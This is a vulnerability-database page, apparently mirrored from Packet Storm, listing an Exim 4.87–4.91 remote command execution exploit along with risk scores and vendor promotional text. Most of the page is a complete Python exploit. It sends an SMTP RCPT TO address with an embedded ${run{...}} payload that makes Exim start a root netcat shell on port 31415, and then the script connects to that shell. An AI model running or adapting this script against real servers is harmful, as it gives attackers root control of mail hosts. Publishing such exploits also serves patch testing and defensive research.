Lucene search
K

📄 Exim 4.91 Remote Command Execution

🗓️ 08 May 2026 00:00:00Reported by Ambrella SecurityType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 83 Views

Exim 4.87–4.91 remote command execution via mail payload spawns root netcat shell on port 31415.

Related
Code
#
    # Spawns a netcat shell on port 31415 as root, then connects to it
    # Vulnerablity is within Exim 4.87-4.91
    #
    
    import subprocess
    import socket
    import os
    import time
    from subprocess import Popen, PIPE
    
    payload = b'${run{\\x2fbin\\x2fsh\\t-c\\t\\x22nc\\t-lp\\t31415\\t-e\\t\\x2fbin\\x2fsh\\x22}}@localhost'
    myhost = os.uname()[1]
    proc = subprocess.Popen(["nc", "localhost", "25"], stdin=PIPE, stdout=PIPE)
    
    stdout = (repr(proc.stdout.readline()))
    print(stdout)
    
    if ("220" in stdout): #Wait for 220 so we can start sending commands
        proc.stdin.write((b'HELO ') + myhost.encode() + b'\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        proc.stdin.write(b'MAIL FROM:<>\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        proc.stdin.write(b'RCPT TO:<'+ payload + b'>\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
        
        proc.stdin.write(b'DATA\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        for i in range(1,32):
          proc.stdin.write(b'Received:' + b' ' + bytes(i) + b'\n')   
          proc.stdin.flush()
          #print(i)
      
        proc.stdin.write(b'\n.\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
      
        proc.stdin.write(b'QUIT\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
    time.sleep(1)
    print("[+] Dropping into shell...")
    os.system("nc localhost 31415")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 May 2026 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 210
CVSS 39
EPSS0.93918
SSVC
83